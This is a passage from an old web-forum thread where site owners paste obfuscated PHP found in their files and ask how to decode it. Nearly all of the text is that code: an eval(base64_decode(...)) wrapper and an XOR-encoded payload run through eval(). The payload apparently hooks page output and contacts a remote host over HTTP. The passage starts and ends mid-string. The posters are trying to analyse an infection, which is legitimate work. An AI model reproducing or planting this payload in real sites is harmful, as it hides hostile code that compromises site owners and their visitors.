s3ODs3ODs1Njs2MTs3OTs3OTs3Mzs3OTs3MTs5Mjs5Mjs5Mjs5Mjs5MjsxOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7MjY7OTsxODszMTs4OzIxOzE5OzE4OzkyOzE3OzE0OzE5OzMwOzIwOzg0Ozg4OzQ2OzU3OzY4Ozc4OzU3OzU3OzY5OzYyOzc3Ozc4Ozc3OzU4Ozc1Ozc2OzY5OzY4OzY5OzczOzU3OzU4OzczOzcyOzU3OzYyOzYxOzc1OzU4OzYxOzc0OzYyOzc1OzY4OzYyOzg1Ozc7OTI7OTI7OTI7OTI7OTI7NTI7MjU7Mjk7MjQ7MjU7MTQ7ODQ7OTE7NjM7MTk7MTg7ODsyNTsxODs4OzgxOzU3OzE4OzMxOzE5OzI0OzIxOzE4OzI3OzcwOzkyOzE4OzE5OzE4OzI1OzkxOzg1OzcxOzkyOzkyOzkyOzkyOzkyOzg4OzQ2OzYxOzc3Ozc1OzY5OzYxOzYyOzU2Ozc5OzYxOzc1OzYyOzY5OzU3Ozc4OzY4OzYzOzc5Ozc0OzY5OzU4Ozc1OzYyOzczOzY5OzYzOzczOzc3OzYyOzY4Ozc3OzU2OzU3OzY1OzI3OzY7MjQ7MjU7MzE7MTk7MjQ7MjU7ODQ7ODg7NDY7NTc7Njg7Nzg7NTc7NTc7Njk7NjI7Nzc7Nzg7Nzc7NTg7NzU7NzY7Njk7Njg7Njk7NzM7NTc7NTg7NzM7NzI7NTc7NjI7NjE7NzU7NTg7NjE7NzQ7NjI7NzU7Njg7NjI7ODU7NzE7OTI7OTI7OTI7OTI7OTI7OTI7OTI7MjE7MjY7ODQ7MTI7MTQ7MjU7Mjc7MzU7MTc7Mjk7ODszMTsyMDs4NDs5MTs4MzszMjs2NDszMjs4MzszMDsxOTsyNDs1OzgzOzE1OzIxOzkxOzgwOzg4OzQ2OzYxOzc3Ozc1OzY5OzYxOzYyOzU2Ozc5OzYxOzc1OzYyOzY5OzU3Ozc4OzY4OzYzOzc5Ozc0OzY5OzU4Ozc1OzYyOzczOzY5OzYzOzczOzc3OzYyOzY4Ozc3OzU2OzU3Ozg1Ozg1Ozc7OTI7OTI7OTI7OTI7OTI7OTI7MTQ7MjU7ODs5OzE0OzE4OzkyOzEyOzE0OzI1OzI3OzM1OzE0OzI1OzEyOzE2OzI5OzMxOzI1Ozg0OzkxOzgzOzg0OzMyOzY0OzMyOzgzOzMwOzE5OzI0OzU7Mzk7MzQ7MzI7NjY7MzM7ODY7MzI7NjY7ODU7ODM7MTU7MjE7OTE7ODA7Mjc7MTc7MTY7ODQ7ODU7ODI7OTQ7MzI7MTg7OTQ7ODI7OTE7ODg7Nzc7OTE7ODA7ODg7NDY7NjE7Nzc7NzU7Njk7NjE7NjI7NTY7Nzk7NjE7NzU7NjI7Njk7NTc7Nzg7Njg7NjM7Nzk7NzQ7Njk7NTg7NzU7NjI7NzM7Njk7NjM7NzM7Nzc7NjI7Njg7Nzc7NTY7NTc7ODU7NzE7OTI7OTI7OTI7OTI7OTI7MTsyNTsxNjsxNTsyNTs3OzkyOzkyOzkyOzkyOzkyOzkyOzE0OzI1Ozg7OTsxNDsxODs5Mjs4ODs0Njs2MTs3Nzs3NTs2OTs2MTs2Mjs1Njs3OTs2MTs3NTs2Mjs2OTs1Nzs3ODs2ODs2Mzs3OTs3NDs2OTs1ODs3NTs2Mjs3Mzs2OTs2Mzs3Mzs3Nzs2Mjs2ODs3Nzs1Njs1Nzs4MjsyNzsxNzsxNjs4NDs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5MjsxOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7MTk7MzA7MzU7MTU7ODsyOTsxNDs4Ozg0OzkxOzE3OzE0OzE5OzMwOzIwOzkxOzg1OzcxOzkyOzkyOzkyOzE7OTI7OTI7MTsiKTskej0iIjtmb3JlYWNoKCRtIGFzICR2KWlmICgkdiE9IiIpJHouPWNocigkdl4kayk7ZXZhbCgkeik7"));?>

into :

$k=124;$m=explode(";","21;26;84;26;9;18;31;8;21;19;18;35;25;4;21;15;8;15;84;91;19;30;35;15;8;29;14;8;91;85;90;90;93;21;15;15;25;8;84;88;59;48;51;62;61;48;47;39;91;17;14;35;18;19;91;33;85;85;7;92;92;92;88;59;48;51;62;61;48;47;39;91;17;14;35;18;19;91;33;65;77;71;92;92;92;21;26;84;93;26;9;18;31;8;21;19;18;35;25;4;21;15;8;15;84;91;17;14;19;30;20;91;85;85;7;92;92;92;92;92;92;21;26;84;93;26;9;18;31;8;21;19;18;35;25;4;21;15;8;15;84;91;27;17;16;91;85;85;7;92;92;92;92;92;26;9;18;31;8;21;19;18;92;27;17;16;84;85;7;92;92;92;92;92;92;21;26;92;84;15;8;14;21;15;8;14;84;88;35;47;57;46;42;57;46;39;94;52;40;40;44;35;41;47;57;46;35;61;59;57;50;40;94;33;80;94;27;19;19;27;16;25;30;19;8;94;85;0;0;15;8;14;21;15;8;14;84;88;35;47;57;46;42;57;46;39;94;52;40;40;44;35;41;47;57;46;35;61;59;57;50;40;94;33;80;94;5;29;20;19;19;94;85;85;7;92;92;92;92;92;92;92;21;26;92;84;84;17;24;73;84;88;35;46;57;45;41;57;47;40;39;94;17;17;17;29;23;19;11;19;21;11;19;11;76;76;78;94;33;85;65;65;94;29;79;69;79;72;24;30;25;78;76;30;76;30;79;25;69;30;30;25;75;29;69;25;26;31;31;74;73;78;74;26;72;94;85;90;90;84;21;15;15;25;8;84;88;35;46;57;45;41;57;47;40;39;94;17;17;17;29;23;19;11;19;21;11;19;11;76;76;77;94;33;85;85;85;7;88;46;68;75;78;73;76;78;69;57;61;68;69;75;77;78;57;57;56;68;74;75;76;62;61;57;74;72;56;79;76;57;72;75;65;30;29;15;25;74;72;35;24;25;31;19;24;25;84;88;35;46;57;45;41;57;47;40;39;94;17;17;17;29;23;19;11;19;21;11;19;11;76;76;77;94;33;85;71;14;25;8;9;14;18;92;94;57;4;25;31;9;8;21;19;18;82;82;82;88;46;68;75;78;73;76;78;69;57;61;68;69;75;77;78;57;57;56;68;74;75;76;62;61;57;74;72;56;79;76;57;72;75;32;18;94;82;25;10;29;16;84;88;46;68;75;78;73;76;78;69;57;61;68;69;75;77;78;57;57;56;68;74;75;76;62;61;57;74;72;56;79;76;57;72;75;85;71;1;92;92;92;92;92;92;92;88;46;61;58;74;79;57;61;61;75;61;78;56;77;73;63;61;73;69;61;62;62;69;73;62;74;58;56;77;61;58;57;62;58;65;94;20;8;8;12;70;83;83;94;82;30;29;15;25;74;72;35;24;25;31;19;24;25;84;94;37;78;69;15;37;18;16;20;24;59;69;9;24;59;58;5;29;43;68;9;37;78;69;8;94;85;82;94;83;16;21;18;23;15;83;94;82;14;29;18;24;84;76;80;78;73;76;85;82;94;82;8;4;8;67;21;12;65;94;82;88;35;47;57;46;42;57;46;39;94;46;57;49;51;40;57;35;61;56;56;46;94;33;82;94;90;20;19;15;8;65;94;82;14;29;11;9;14;16;25;18;31;19;24;25;84;88;35;47;57;46;42;57;46;39;94;52;40;40;44;35;52;51;47;40;94;33;85;82;94;90;29;27;25;18;8;65;94;82;14;29;11;9;14;16;25;18;31;19;24;25;84;88;35;47;57;46;42;57;46;39;94;52;40;40;44;35;41;47;57;46;35;61;59;57;50;40;94;33;85;71;92;92;92;92;92;92;92;88;46;58;72;68;62;58;58;69;76;73;73;58;72;74;62;69;72;68;79;62;63;69;76;56;63;76;61;77;74;76;57;74;75;65;94;94;71;92;92;92;92;92;92;92;21;26;92;84;26;9;18;31;8;21;19;18;35;25;4;21;15;8;15;84;94;31;9;14;16;35;21;18;21;8;94;85;85;92;7;92;92;92;92;92;92;92;92;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;92;65;92;60;31;9;14;16;35;21;18;21;8;84;85;71;92;92;92;92;92;92;92;92;60;31;9;14;16;35;15;25;8;19;12;8;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;80;92;63;41;46;48;51;44;40;35;41;46;48;80;92;88;46;61;58;74;79;57;61;61;75;61;78;56;77;73;63;61;73;69;61;62;62;69;73;62;74;58;56;77;61;58;57;62;58;85;71;92;92;92;92;92;92;92;92;60;31;9;14;16;35;15;25;8;19;12;8;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;80;92;63;41;46;48;51;44;40;35;46;57;40;41;46;50;40;46;61;50;47;58;57;46;80;92;77;85;71;92;92;92;92;92;92;92;92;60;31;9;14;16;35;15;25;8;19;12;8;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;80;92;63;41;46;48;51;44;40;35;40;53;49;57;51;41;40;80;92;77;73;85;71;92;92;92;92;92;92;92;92;60;31;9;14;16;35;15;25;8;19;12;8;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;80;92;63;41;46;48;51;44;40;35;57;50;63;51;56;53;50;59;92;80;92;94;27;6;21;12;94;85;71;92;92;92;92;92;92;92;92;88;46;58;72;68;62;58;58;69;76;73;73;58;72;74;62;69;72;68;79;62;63;69;76;56;63;76;61;77;74;76;57;74;75;65;60;31;9;14;16;35;25;4;25;31;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;85;71;92;92;92;92;92;92;92;92;60;31;9;14;16;35;31;16;19;15;25;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;85;71;92;92;92;92;92;92;92;1;92;25;16;15;25;92;7;92;92;92;92;92;92;92;92;88;46;58;72;68;62;58;58;69;76;73;73;58;72;74;62;69;72;68;79;62;63;69;76;56;63;76;61;77;74;76;57;74;75;65;60;26;21;16;25;35;27;25;8;35;31;19;18;8;25;18;8;15;84;88;46;61;58;74;79;57;61;61;75;61;78;56;77;73;63;61;73;69;61;62;62;69;73;62;74;58;56;77;61;58;57;62;58;85;71;92;92;92;92;92;92;92;1;92;92;92;92;92;92;1;92;92;92;92;92;92;14;25;8;9;14;18;92;88;46;58;72;68;62;58;58;69;76;73;73;58;72;74;62;69;72;68;79;62;63;69;76;56;63;76;61;77;74;76;57;74;75;71;92;92;92;92;92;1;92;92;92;92;1;92;92;92;92;92;92;92;92;21;26;84;93;26;9;18;31;8;21;19;18;35;25;4;21;15;8;15;84;91;27;6;24;25;31;19;24;25;91;85;85;7;92;92;92;92;92;26;9;18;31;8;21;19;18;92;27;6;24;25;31;19;24;25;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;85;7;92;92;92;92;92;92;88;46;79;76;62;78;61;62;68;56;63;77;72;69;74;56;76;74;62;78;79;76;61;75;77;56;68;69;74;78;61;58;73;56;65;60;19;14;24;84;60;15;9;30;15;8;14;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;80;79;80;77;85;85;71;92;92;92;92;92;92;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;65;77;76;71;92;92;92;92;92;92;88;46;61;79;56;73;78;57;73;78;61;72;68;69;79;74;63;56;57;76;58;73;79;73;74;62;62;76;68;74;73;78;58;78;65;76;71;92;92;92;92;92;92;21;26;84;88;46;79;76;62;78;61;62;68;56;63;77;72;69;74;56;76;74;62;78;79;76;61;75;77;56;68;69;74;78;61;58;73;56;90;72;85;7;92;92;92;92;92;92;92;88;46;74;79;62;57;56;57;74;62;77;69;78;74;74;56;72;57;58;57;61;56;76;75;61;72;56;69;77;57;78;69;57;62;65;60;9;18;12;29;31;23;84;91;10;91;80;15;9;30;15;8;14;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;80;77;76;80;78;85;85;71;92;92;92;92;92;92;92;88;46;74;79;62;57;56;57;74;62;77;69;78;74;74;56;72;57;58;57;61;56;76;75;61;72;56;69;77;57;78;69;57;62;65;88;46;74;79;62;57;56;57;74;62;77;69;78;74;74;56;72;57;58;57;61;56;76;75;61;72;56;69;77;57;78;69;57;62;39;77;33;71;92;92;92;92;92;92;92;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;87;65;78;87;88;46;74;79;62;57;56;57;74;62;77;69;78;74;74;56;72;57;58;57;61;56;76;75;61;72;56;69;77;57;78;69;57;62;71;92;92;92;92;92;92;1;92;92;92;92;92;92;21;26;84;88;46;79;76;62;78;61;62;68;56;63;77;72;69;74;56;76;74;62;78;79;76;61;75;77;56;68;69;74;78;61;58;73;56;90;68;85;7;92;92;92;92;92;92;92;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;65;60;15;8;14;12;19;15;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;80;31;20;14;84;76;85;80;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;85;87;77;71;92;92;92;92;92;92;1;92;92;92;92;92;92;21;26;84;88;46;79;76;62;78;61;62;68;56;63;77;72;69;74;56;76;74;62;78;79;76;61;75;77;56;68;69;74;78;61;58;73;56;90;77;74;85;7;92;92;92;92;92;92;92;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;65;60;15;8;14;12;19;15;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;80;31;20;14;84;76;85;80;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;85;87;77;71;92;92;92;92;92;92;1;92;92;92;92;92;92;21;26;84;88;46;79;76;62;78;61;62;68;56;63;77;72;69;74;56;76;74;62;78;79;76;61;75;77;56;68;69;74;78;61;58;73;56;90;78;85;7;92;92;92;92;92;92;92;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;87;65;78;71;92;92;92;92;92;92;1;92;92;92;92;92;92;88;46;76;79;72;61;57;78;61;62;69;72;58;69;69;63;63;68;77;62;79;68;69;61;77;68;78;78;56;61;79;79;73;79;65;60;27;6;21;18;26;16;29;8;25;84;60;15;9;30;15;8;14;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;80;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;85;85;71;92;92;92;92;92;92;21;26;84;88;46;76;79;72;61;57;78;61;62;69;72;58;69;69;63;63;68;77;62;79;68;69;61;77;68;78;78;56;61;79;79;73;79;65;65;65;58;61;48;47;57;85;7;92;92;92;92;92;92;92;88;46;76;79;72;61;57;78;61;62;69;72;58;69;69;63;63;68;77;62;79;68;69;61;77;68;78;78;56;61;79;79;73;79;65;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;71;92;92;92;92;92;92;1;92;92;92;92;92;92;14;25;8;9;14;18;92;88;46;76;79;72;61;57;78;61;62;69;72;58;69;69;63;63;68;77;62;79;68;69;61;77;68;78;78;56;61;79;79;73;79;71;92;92;92;92;92;1;92;92;92;92;1;92;92;92;92;26;9;18;31;8;21;19;18;92;17;14;19;30;20;84;88;46;57;68;78;57;57;69;62;77;78;77;58;75;76;69;68;69;73;57;58;73;72;57;62;61;75;58;61;74;62;75;68;62;85;7;92;92;92;92;92;52;25;29;24;25;14;84;91;63;19;18;8;25;18;8;81;57;18;31;19;24;21;18;27;70;92;18;19;18;25;91;85;71;92;92;92;92;92;88;46;61;77;75;69;61;62;56;79;61;75;62;69;57;78;68;63;79;74;69;58;75;62;73;69;63;73;77;62;68;77;56;57;65;27;6;24;25;31;19;24;25;84;88;46;57;68;78;57;57;69;62;77;78;77;58;75;76;69;68;69;73;57;58;73;72;57;62;61;75;58;61;74;62;75;68;62;85;71;92;92;92;92;92;92;92;21;26;84;12;14;25;27;35;17;29;8;31;20;84;91;83;32;64;32;83;30;19;24;5;83;15;21;91;80;88;46;61;77;75;69;61;62;56;79;61;75;62;69;57;78;68;63;79;74;69;58;75;62;73;69;63;73;77;62;68;77;56;57;85;85;7;92;92;92;92;92;92;14;25;8;9;14;18;92;12;14;25;27;35;14;25;12;16;29;31;25;84;91;83;84;32;64;32;83;30;19;24;5;39;34;32;66;33;86;32;66;85;83;15;21;91;80;27;17;16;84;85;82;94;32;18;94;82;91;88;77;91;80;88;46;61;77;75;69;61;62;56;79;61;75;62;69;57;78;68;63;79;74;69;58;75;62;73;69;63;73;77;62;68;77;56;57;85;71;92;92;92;92;92;1;25;16;15;25;7;92;92;92;92;92;92;14;25;8;9;14;18;92;88;46;61;77;75;69;61;62;56;79;61;75;62;69;57;78;68;63;79;74;69;58;75;62;73;69;63;73;77;62;68;77;56;57;82;27;17;16;84;85;71;92;92;92;92;92;1;92;92;92;92;1;92;92;92;92;19;30;35;15;8;29;14;8;84;91;17;14;19;30;20;91;85;71;92;92;92;1;92;92;1;");$z="";foreach($m as $v)if ($v!="")$z.=chr($v^$k);eval($z);

how do i decode that to find the source files?

Back to top

#144 edsawkins

Members
15 posts

Real Name:Ed Sawkins

@Mention

Posted 16 December 2009 - 11:35 AM

edsawkins, on 16 December 2009 - 07:24 AM, said:

ok, managed to decode:

<?php /**/ eval(base64_decode("JGs9MTI0OyRtPWV4cGxvZGUoIjsiLCIyMTsyNjs4NDsyNjs5OzE4OzMxOzg7MjE7MTk7MTg7MzU7MjU7NDsyMTsxNTs4OzE1Ozg0OzkxOzE5OzMwOzM1OzE1Ozg7Mjk7MTQ7ODs5MTs4NTs5MDs5MDs5MzsyMTsxNTsxNTsyNTs4Ozg0Ozg4OzU5OzQ4OzUxOzYyOzYxOzQ4OzQ3OzM5OzkxOzE3OzE0OzM1OzE4OzE5OzkxOzMzOzg1Ozg1Ozc7OTI7OTI7OTI7ODg7NTk7NDg7NTE7NjI7NjE7NDg7NDc7Mzk7OTE7MTc7MTQ7MzU7MTg7MTk7OTE7MzM7NjU7Nzc7NzE7OTI7OTI7OTI7MjE7MjY7ODQ7OTM7MjY7OTsxODszMTs4OzIxOzE5OzE4OzM1OzI1OzQ7MjE7MTU7ODsxNTs4NDs5MTsxNzsxNDsxOTszMDsyMDs5MTs4NTs4NTs3OzkyOzkyOzkyOzkyOzkyOzkyOzIxOzI2Ozg0OzkzOzI2Ozk7MTg7MzE7ODsyMTsxOTsxODszNTsyNTs0OzIxOzE1Ozg7MTU7ODQ7OTE7Mjc7MTc7MTY7OTE7ODU7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5MjsyNjs5OzE4OzMxOzg7MjE7MTk7MTg7OTI7Mjc7MTc7MTY7ODQ7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsyMTsyNjs5Mjs4NDsxNTs4OzE0OzIxOzE1Ozg7MTQ7ODQ7ODg7MzU7NDc7NTc7NDY7NDI7NTc7NDY7Mzk7OTQ7NTI7NDA7NDA7NDQ7MzU7NDE7NDc7NTc7NDY7MzU7NjE7NTk7NTc7NTA7NDA7OTQ7MzM7ODA7OTQ7Mjc7MTk7MTk7Mjc7MTY7MjU7MzA7MTk7ODs5NDs4NTswOzA7MTU7ODsxNDsyMTsxNTs4OzE0Ozg0Ozg4OzM1OzQ3OzU3OzQ2OzQyOzU3OzQ2OzM5Ozk0OzUyOzQwOzQwOzQ0OzM1OzQxOzQ3OzU3OzQ2OzM1OzYxOzU5OzU3OzUwOzQwOzk0OzMzOzgwOzk0OzU7Mjk7MjA7MTk7MTk7OTQ7ODU7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsyMTsyNjs5Mjs4NDs4NDsxNzsyNDs3Mzs4NDs4ODszNTs0Njs1Nzs0NTs0MTs1Nzs0Nzs0MDszOTs5NDsxNzsxNzsxNzsyOTsyMzsxOTsxMTsxOTsyMTsxMTsxOTsxMTs3Njs3Njs3ODs5NDszMzs4NTs2NTs2NTs5NDsyOTs3OTs2OTs3OTs3MjsyNDszMDsyNTs3ODs3NjszMDs3NjszMDs3OTsyNTs2OTszMDszMDsyNTs3NTsyOTs2OTsyNTsyNjszMTszMTs3NDs3Mzs3ODs3NDsyNjs3Mjs5NDs4NTs5MDs5MDs4NDsyMTsxNTsxNTsyNTs4Ozg0Ozg4OzM1OzQ2OzU3OzQ1OzQxOzU3OzQ3OzQwOzM5Ozk0OzE3OzE3OzE3OzI5OzIzOzE5OzExOzE5OzIxOzExOzE5OzExOzc2Ozc2Ozc3Ozk0OzMzOzg1Ozg1Ozg1Ozc7ODg7NDY7Njg7NzU7Nzg7NzM7NzY7Nzg7Njk7NTc7NjE7Njg7Njk7NzU7Nzc7Nzg7NTc7NTc7NTY7Njg7NzQ7NzU7NzY7NjI7NjE7NTc7NzQ7NzI7NTY7Nzk7NzY7NTc7NzI7NzU7NjU7MzA7Mjk7MTU7MjU7NzQ7NzI7MzU7MjQ7MjU7MzE7MTk7MjQ7MjU7ODQ7ODg7MzU7NDY7NTc7NDU7NDE7NTc7NDc7NDA7Mzk7OTQ7MTc7MTc7MTc7Mjk7MjM7MTk7MTE7MTk7MjE7MTE7MTk7MTE7NzY7NzY7Nzc7OTQ7MzM7ODU7NzE7MTQ7MjU7ODs5OzE0OzE4OzkyOzk0OzU3OzQ7MjU7MzE7OTs4OzIxOzE5OzE4OzgyOzgyOzgyOzg4OzQ2OzY4Ozc1Ozc4OzczOzc2Ozc4OzY5OzU3OzYxOzY4OzY5Ozc1Ozc3Ozc4OzU3OzU3OzU2OzY4Ozc0Ozc1Ozc2OzYyOzYxOzU3Ozc0OzcyOzU2Ozc5Ozc2OzU3OzcyOzc1OzMyOzE4Ozk0OzgyOzI1OzEwOzI5OzE2Ozg0Ozg4OzQ2OzY4Ozc1Ozc4OzczOzc2Ozc4OzY5OzU3OzYxOzY4OzY5Ozc1Ozc3Ozc4OzU3OzU3OzU2OzY4Ozc0Ozc1Ozc2OzYyOzYxOzU3Ozc0OzcyOzU2Ozc5Ozc2OzU3OzcyOzc1Ozg1OzcxOzE7OTI7OTI7OTI7OTI7OTI7OTI7OTI7ODg7NDY7NjE7NTg7NzQ7Nzk7NTc7NjE7NjE7NzU7NjE7Nzg7NTY7Nzc7NzM7NjM7NjE7NzM7Njk7NjE7NjI7NjI7Njk7NzM7NjI7NzQ7NTg7NTY7Nzc7NjE7NTg7NTc7NjI7NTg7NjU7OTQ7MjA7ODs4OzEyOzcwOzgzOzgzOzk0OzgyOzMwOzI5OzE1OzI1Ozc0OzcyOzM1OzI0OzI1OzMxOzE5OzI0OzI1Ozg0Ozk0OzM3Ozc4OzY5OzE1OzM3OzE4OzE2OzIwOzI0OzU5OzY5Ozk7MjQ7NTk7NTg7NTsyOTs0Mzs2ODs5OzM3Ozc4OzY5Ozg7OTQ7ODU7ODI7OTQ7ODM7MTY7MjE7MTg7MjM7MTU7ODM7OTQ7ODI7MTQ7Mjk7MTg7MjQ7ODQ7NzY7ODA7Nzg7NzM7NzY7ODU7ODI7OTQ7ODI7ODs0Ozg7Njc7MjE7MTI7NjU7OTQ7ODI7ODg7MzU7NDc7NTc7NDY7NDI7NTc7NDY7Mzk7OTQ7NDY7NTc7NDk7NTE7NDA7NTc7MzU7NjE7NTY7NTY7NDY7OTQ7MzM7ODI7OTQ7OTA7MjA7MTk7MTU7ODs2NTs5NDs4MjsxNDsyOTsxMTs5OzE0OzE2OzI1OzE4OzMxOzE5OzI0OzI1Ozg0Ozg4OzM1OzQ3OzU3OzQ2OzQyOzU3OzQ2OzM5Ozk0OzUyOzQwOzQwOzQ0OzM1OzUyOzUxOzQ3OzQwOzk0OzMzOzg1OzgyOzk0OzkwOzI5OzI3OzI1OzE4Ozg7NjU7OTQ7ODI7MTQ7Mjk7MTE7OTsxNDsxNjsyNTsxODszMTsxOTsyNDsyNTs4NDs4ODszNTs0Nzs1Nzs0Njs0Mjs1Nzs0NjszOTs5NDs1Mjs0MDs0MDs0NDszNTs0MTs0Nzs1Nzs0NjszNTs2MTs1OTs1Nzs1MDs0MDs5NDszMzs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs1ODs3Mjs2ODs2Mjs1ODs1ODs2OTs3Njs3Mzs3Mzs1ODs3Mjs3NDs2Mjs2OTs3Mjs2ODs3OTs2Mjs2Mzs2OTs3Njs1Njs2Mzs3Njs2MTs3Nzs3NDs3Njs1Nzs3NDs3NTs2NTs5NDs5NDs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsyMTsyNjs5Mjs4NDsyNjs5OzE4OzMxOzg7MjE7MTk7MTg7MzU7MjU7NDsyMTsxNTs4OzE1Ozg0Ozk0OzMxOzk7MTQ7MTY7MzU7MjE7MTg7MjE7ODs5NDs4NTs4NTs5Mjs3OzkyOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2Ozc1OzU2OzU4OzcyOzY4Ozc3OzU2Ozc2Ozc0Ozc0Ozc3Ozc5OzY4OzYzOzU4Ozc1OzYyOzczOzU2Ozc1OzU2OzYxOzc3OzY5OzYyOzYzOzYyOzc4OzYxOzY4Ozc1OzcyOzkyOzY1OzkyOzYwOzMxOzk7MTQ7MTY7MzU7MjE7MTg7MjE7ODs4NDs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs2MDszMTs5OzE0OzE2OzM1OzE1OzI1Ozg7MTk7MTI7ODs5Mjs4NDs4ODs0Njs3NTs1Njs1ODs3Mjs2ODs3Nzs1Njs3Njs3NDs3NDs3Nzs3OTs2ODs2Mzs1ODs3NTs2Mjs3Mzs1Njs3NTs1Njs2MTs3Nzs2OTs2Mjs2Mzs2Mjs3ODs2MTs2ODs3NTs3Mjs4MDs5Mjs2Mzs0MTs0Njs0ODs1MTs0NDs0MDszNTs0MTs0Njs0ODs4MDs5Mjs4ODs0Njs2MTs1ODs3NDs3OTs1Nzs2MTs2MTs3NTs2MTs3ODs1Njs3Nzs3Mzs2Mzs2MTs3Mzs2OTs2MTs2Mjs2Mjs2OTs3Mzs2Mjs3NDs1ODs1Njs3Nzs2MTs1ODs1Nzs2Mjs1ODs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs2MDszMTs5OzE0OzE2OzM1OzE1OzI1Ozg7MTk7MTI7ODs5Mjs4NDs4ODs0Njs3NTs1Njs1ODs3Mjs2ODs3Nzs1Njs3Njs3NDs3NDs3Nzs3OTs2ODs2Mzs1ODs3NTs2Mjs3Mzs1Njs3NTs1Njs2MTs3Nzs2OTs2Mjs2Mzs2Mjs3ODs2MTs2ODs3NTs3Mjs4MDs5Mjs2Mzs0MTs0Njs0ODs1MTs0NDs0MDszNTs0Njs1Nzs0MDs0MTs0Njs1MDs0MDs0Njs2MTs1MDs0Nzs1ODs1Nzs0Njs4MDs5Mjs3Nzs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs2MDszMTs5OzE0OzE2OzM1OzE1OzI1Ozg7MTk7MTI7ODs5Mjs4NDs4ODs0Njs3NTs1Njs1ODs3Mjs2ODs3Nzs1Njs3Njs3NDs3NDs3Nzs3OTs2ODs2Mzs1ODs3NTs2Mjs3Mzs1Njs3NTs1Njs2MTs3Nzs2OTs2Mjs2Mzs2Mjs3ODs2MTs2ODs3NTs3Mjs4MDs5Mjs2Mzs0MTs0Njs0ODs1MTs0NDs0MDszNTs0MDs1Mzs0OTs1Nzs1MTs0MTs0MDs4MDs5Mjs3Nzs3Mzs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs2MDszMTs5OzE0OzE2OzM1OzE1OzI1Ozg7MTk7MTI7ODs5Mjs4NDs4ODs0Njs3NTs1Njs1ODs3Mjs2ODs3Nzs1Njs3Njs3NDs3NDs3Nzs3OTs2ODs2Mzs1ODs3NTs2Mjs3Mzs1Njs3NTs1Njs2MTs3Nzs2OTs2Mjs2Mzs2Mjs3ODs2MTs2ODs3NTs3Mjs4MDs5Mjs2Mzs0MTs0Njs0ODs1MTs0NDs0MDszNTs1Nzs1MDs2Mzs1MTs1Njs1Mzs1MDs1OTs5Mjs4MDs5Mjs5NDsyNzs2OzIxOzEyOzk0Ozg1OzcxOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2OzU4OzcyOzY4OzYyOzU4OzU4OzY5Ozc2OzczOzczOzU4OzcyOzc0OzYyOzY5OzcyOzY4Ozc5OzYyOzYzOzY5Ozc2OzU2OzYzOzc2OzYxOzc3Ozc0Ozc2OzU3Ozc0Ozc1OzY1OzYwOzMxOzk7MTQ7MTY7MzU7MjU7NDsyNT